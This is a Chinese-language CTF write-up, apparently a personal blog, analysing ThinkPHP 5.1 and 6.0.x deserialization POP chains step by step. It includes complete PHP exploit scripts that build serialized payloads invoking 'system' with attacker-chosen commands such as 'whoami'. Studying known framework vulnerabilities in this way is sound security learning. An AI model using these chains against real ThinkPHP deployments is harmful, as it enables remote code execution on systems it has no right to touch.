那我们就看看该如何控制relation和name,首先看relation如何获取:先是调用了getRelation方法,注意了,这里我们要的是最终走到192行,故这个if必须满足,也就是说getRelation必须返回空,跟进getRelation,看是否可以控制其返回空(这里有个点需要注意一下,这个getRelation并不在Conversion.php中,而是在RelationShip.php中,因为这两都是trait类,这个this指的是进行了多继承的子类(至少同时继承了Conversion和RelationShip),故可以调用在RelationShip.php中的getRelation方法,这是第二次跳转)

image-20230822111754876

可以看到这里name默认为空,返回了relation,而relation我们还没有进行获取,所以返回的就是空,返回空满足后,回到toArray中,接下来在getAttr方法中真正获取relation(getAttr方法在Attribute类中,这是第三次跳转)

image-20230822112445582

跟进getData方法:

image-20230822112523120

可以看到我们可以控制data,只需要再控制name即可返回我们构造的值,往回看,传入getData的name就是传入getAttr的参数name,也就是toArray中的key,而key可以通过我们传入的append控制,至此,我们成功控制了relation,而$relation->visible($name)的参数name也是通过我们传入的append控制。综上所述只需要控制data和append即可(data[key]用来控制relation,append[key]用来控制name)。接下来需要找到一个同时继承了这三个类的子类(Conversion,RelationShip,Attribute),找到了Model.php里的Model类:

image-20230822090348632

但是这里有个问题,Model是一个抽象类,不能直接实例化,我们需要找到具体实现他的一个子类,找到了Pivot类。

image-20230822115906239

至此,第一阶段结束。

进行第二阶段的准备工作,全局搜索visible,发现没有一个能用的(内不含危险方法),只能找__call,想起了我们的老朋友Request.php,接下来正式进入第二阶段:

image-20230822120109771

可以看到这里有令人安心的call_user_func_array,而且hook可以控制,但是很遗憾,在此之前进行了array_unshift,简单来说就是把this添加到了参数的第一位,如此一来,我们不再能够通过call_user_func_array来直接调用系统命令(因为系统命令参数里面不能加this),转换思路,将call_user_func_array当成一个能够调用Request类内其他方法的跳板(因为加了this)。

想想之前的tp5RCE,也许我们这次也可以通过覆盖filter来进行RCE,找到filterValue方法:

image-20230822121158148

我们要想办法利用的就是filterValue里面的call_user_func来最终执行命令,这需要我们控制filter和value,而tp5RCE告诉我们,filter和value都可以在input方法里面控制:

image-20230822121507131

可以看到这个array_walk_recursive,可以将filter和data传入并调用filterValue,而这个filter是通过getFilter获得的,相当于是获得了this->filter,可以自行控制,但是data目前还不可控,虽然第二个if里面调用了getData,但是:

image-20230822122159302

于是我们要直接控制data,且使得name就是空,就可以跳过这个if,保留我们的data值,往上找找谁调用了input,是否直接传入了可控的参数,找到了param方法:

image-20230822122404622

可以看到这里终于是可以控制的this->param,但是需要注意到第一个if里面还对this->param进行了加工,$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));,虽然我们可以完全不用管这个,直接控制param,但是基于动态命令执行的宗旨,我们可以不控制param,转而控制get参数(url传就行),于是data已经被控制,接下来只需要控制name为空即可。

param()方法中的name还是不可控。虽然param()方法的默认name是空字符串,但是别忘了我们需要使用__call里面的call_user_func_array来当跳板调用它,第一个参数是this,所以这里name还是不可控,继续往上寻找调用了param的方法看是否可控,找到了isAjax函数:

image-20230822123303420

可以看到这里调用param的第一个参数传入的是$this->config['var_ajax'],我们只需要控制它为空即可成功控制name为空。好了,通过call_user_func_array当跳板调用isAjax,pop链就完成了,只需要再控制一下this的参数,即可实现RCE,皆大欢喜,开始写脚本构造序列化内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php
namespace think\process\pipes{ //这种很多文件的,记得加上命名空间

use think\model\Pivot; //需要用到什么,需要用use来引入

class Windows
{
private $files = [];
public function __construct(){
$this->files[]=new Pivot(); //反序列化入口,控制filename
}
}
}
namespace think{
abstract class Model
{
protected $append = [];
private $data = [];
public function __construct(){
$this->data=array(
'a'=>new Request() //这是用来控制relation的,连接第二阶段
);
$this->append=array(
'a'=>array(
'hello'=>'world' //这是用来控制name的,其实根本没用,因为我们并没有用到visible这个函数,所以只需要key一样即可,至于value是什么不重要
)
);
}
}
}
namespace think\model{

use think\Model;

class Pivot extends Model //这是用来在poc中生成payload
{

}
}
namespace think{ //前面是第一阶段,这里开始时第二阶段的控制
class Request
{
protected $hook = [];
protected $filter;
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '', //这是用来符合isAjax方法的
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
public function __construct(){
$this->hook['visible']=[$this,'isAjax']; //这是用来控制call_user_func_array跳板链接到的方法的
$this->filter="system"; //这是用来控制filter的
}
}
}
namespace{

use think\process\pipes\Windows;

echo base64_encode(serialize(new Windows())); //序列化当然是序列化入口
}

image-20230822125209528

可以看到成功进行了RCE。

话说这条链真的是有点太长了,复现都挺麻烦了,真想知道是怎么挖出来的

参考链接

Thinkphp 反序列化利用链深入分析 (seebug.org)

Thinkphp5.1 反序列化漏洞复现_thinkphp5.1.41漏洞_bfengj的博客-CSDN博客

具体每一题payload有什么样的变化也可以参考之前提到的那篇文章:

ctfshow–thinkphp专题 | 会下雪的晴天 (yq1ng.github.io)

web611-622:反序列化漏洞

ThinkPHP6.0 反序列化分析

漏洞影响版本:6.0.0-6.0.3,本次分析中使用的版本为6.0.3

搭建环境就不多说了,composer改版本,index加一个反序列化操作,直接从反序列化链入口开始看。

这条链同样分成上下两部分进行分析

入口部分

前半段的任务在于控制参数使得从__destruct方法到__toString方法,因为后半段和tp5反序列化toString后半段很类似。

我们都知道,反序列化入口一般是__destruct方法,这次是位于/vendor/topthink/think-orm/src/Model.php__destruct方法:

image-20230824102649735

这里得到第一个需要控制的参数lazySave=true,跟进save方法:

image-20230824102901074

我们的目标是进入updateData方法,就需要绕过前面的if,首先跟进isEmpty方法:

image-20230824103032341

得到第二个需要控制的参数data,不能为空,则isEmpty返回false,继续看trigger方法(trigger方法在ModelEvent.php中):

image-20230824103334117

得到第三个需要控制的参数,withEvent=false,就能让trigger返回true,从而false===trigger返回false,绕过save里面的if,来到updateData方法:

image-20230824103741202

上一步已经成功控制trigger返回true了,这个if不用管,而checkData没定义也不用管,直接看到获取data的方法getChangedData,跟进,看如何获取data(这个方法在Attribute.php中,可通过用法查询快速跳转):

image-20230824104318729

这步操作可能有点复杂,但是其实后面完全都不用看,只需要知道如果force是true的话,data就赋值为this->data,然后返回,相当于updateData里的data我们也可以控制了,得到第四个需要控制的参数,force=true,回到updateData中,由于前面的分析中this->data不能为空,自然下面这个if直接跳过不用看,

image-20230824105914550

跟进看看checkAllowFields:

image-20230824110205391

可以看到这里出现了第五个需要控制的参数this->field为空第六个需要控制的参数this->schema为空(可以看到Model类中并没有这两个参数,这两在Attribute类中,且默认就是空,所以其实不用管),看到了后面的.操作符很开心,这里就是__toString的高发点,但是先别急,先看看db方法:

image-20230824110555832

没想到这个db更是抢先一步使用.操作符,我们只需要控制第八个参数:this->name为我们想要触发__toString的类就行。另外,Model类是一个抽象类,不能直接实例化,需要找到一个继承了Model的类,找到了Pivot类(tp5里面也是它):

image-20230824110818331

至此,第一部分完成,第一部分的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
namespace think\model\concern;
trait Attribute
{
private $data = "pazuris";
}
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave = true;
protected $withEvent = false;
private $exists = true;
private $force = true;
protected $name;
public function __construct($obj=""){
$this->name=$obj; //需要构造传入的类
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{}

命令执行部分

后半部分和tp5的反序列化非常像,都是Conversion类里面的__toString

image-20230824112328360

直接跳到toArray方法,这里截出关键代码:

image-20230824130639783

对比tp5的代码不难发现,不同的地方在于对val变量进行了一个判断,改了val之后无法再达到visible方法,自然也没法调用__call方法,故之前的链子已无法利用。

这里的关键在于getAttr方法,触发的条件是在visible里面有一个键和data的一个键一样,跟进getAttr:

image-20230824131522292

跟进getData看如何获取value:

image-20230824132455159

回溯上两步可以看出这里的name变量就是最开始传入的key,所以不为空,进入getRealFieldName:

image-20230824132655600

默认情况下跳过if,直接返回了name,回到getData中,第一个判断成立,返回了data中key键的值,返回getAttr方法中,现在来到了getValue方法,可以看到传入了键和值,关键代码如下:

image-20230824152452408

这里可以看到我们第二阶段需要控制的变量不仅有data,还有withAttr,第二个断点就是最终执行命令的地方,可以看到从withAttr中获取了key对应的值,并将其当方法调用,相当于call_user_func,并且参数为value,就是data中相同的key对应的值,前面的if只需要这个相同的key不是数组就可以绕过。

总结一下第二阶段要构造的是data和withAttr,他们有相同的键,对应的值一个是参数一个是方法:

1
2
$this->withAttr = ["key" => "system"];
$this->data = ["key" => "whoami"]

现在就可以把两个阶段连在一起写总的exp,可以发现第二阶段其实利用的类依然是继承了Model的Pivot,直接把第一阶段的复用即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
namespace think\model\concern;
trait Attribute
{
private $data = ["key"=>"whoami"];
private $withAttr = ["key"=>"system"];
} //第一阶段仅要求data非空,故直接上第二阶段的
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave = true;
protected $withEvent = false;
private $exists = true;
private $force = true;
protected $name;
public function __construct($obj=""){
$this->name=$obj;
}
}//满足第一阶段的参数,同时提供为第二阶段提供钩子
namespace think\model;
use think\Model;
class Pivot extends Model
{}
$a=new Pivot(); //第二阶段
$b=new Pivot($a); //将第二阶段的类赋值给第一阶段的name
echo urlencode(serialize($b));

tp6的反序列化真是无穷无尽,现在暂时分析这一个,其他链子的思路都是类似的,进一步研究可以参考下面这些文章:

Thinkphp6.0.9反序列化复现及整合 - 先知社区 (aliyun.com)

Thinkphp v6.0.13反序列化(CVE-2022-38352)分析 - 先知社区 (aliyun.com)

好了,tp漏洞的复现暂时告一段落了,复现到这里PHP代码审计能力也有了提高,我也该上学了(笑),接下来想去研究一下struts2和weblogic这些框架的漏洞,转战java。